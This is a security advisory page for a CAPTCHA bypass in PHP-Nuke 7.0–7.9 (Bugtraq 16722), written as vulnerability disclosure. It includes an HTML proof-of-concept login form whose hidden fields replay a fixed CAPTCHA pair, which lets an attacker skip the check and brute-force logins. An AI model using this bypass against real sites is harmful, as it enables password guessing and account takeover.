PHPNuke CAPTCHA Bypass Weakness

BID:16722

Info

PHPNuke CAPTCHA Bypass Weakness

Bugtraq ID: 16722
Class: Design Error
CVE:
Remote: Yes
Local: No
Published: Feb 18 2006 12:00AM
Updated: Feb 21 2006 05:57PM
Credit: Discovered by Janek Vind "waraxe".
Vulnerable: PHP-Nuke PHP-Nuke 7.9
PHP-Nuke PHP-Nuke 7.8
PHP-Nuke PHP-Nuke 7.7
PHP-Nuke PHP-Nuke 7.6
PHP-Nuke PHP-Nuke 7.5
PHP-Nuke PHP-Nuke 7.4
PHP-Nuke PHP-Nuke 7.3
PHP-Nuke PHP-Nuke 7.2
PHP-Nuke PHP-Nuke 7.1
PHP-Nuke PHP-Nuke 7.0
Not Vulnerable:

Discussion

PHPNuke CAPTCHA Bypass Weakness

The CAPTCHA implementation of PHPNuke may be bypassed by remote attackers due to a design error.


This may be used to carry out other attacks such as brute-force attempts against the login page.

Exploit / POC

PHPNuke CAPTCHA Bypass Weakness


An exploit is not required.

The following proof of concept is available:



[------ real life exploit ------]

<html>
<head>
<title>phpNuke CAPTHCA bypass POC</title>
</head>
<body>
<center>
<br><br><br><br>

<form action="http://localhost/nuke78/modules.php?name=Your_Account" method="post">

Username: <input type="text" name="username" size="15" maxlength="25"><br>
Password: <input type="password" name="user_password" size="15" maxlength="20"><br>

<input type="hidden" name="random_num" value="112652">
<input type="hidden" name="gfx_check" value="304380">

<input type="hidden" name="op" value="login">
<input type="submit" value="Login">

</form>
<br><br><br><br>
</center>
</body>
</html>

[----- /real life exploit ------]

Solution / Fix

PHPNuke CAPTCHA Bypass Weakness

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected]

References

PHPNuke CAPTCHA Bypass Weakness

References:

© CVE.report 2026

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report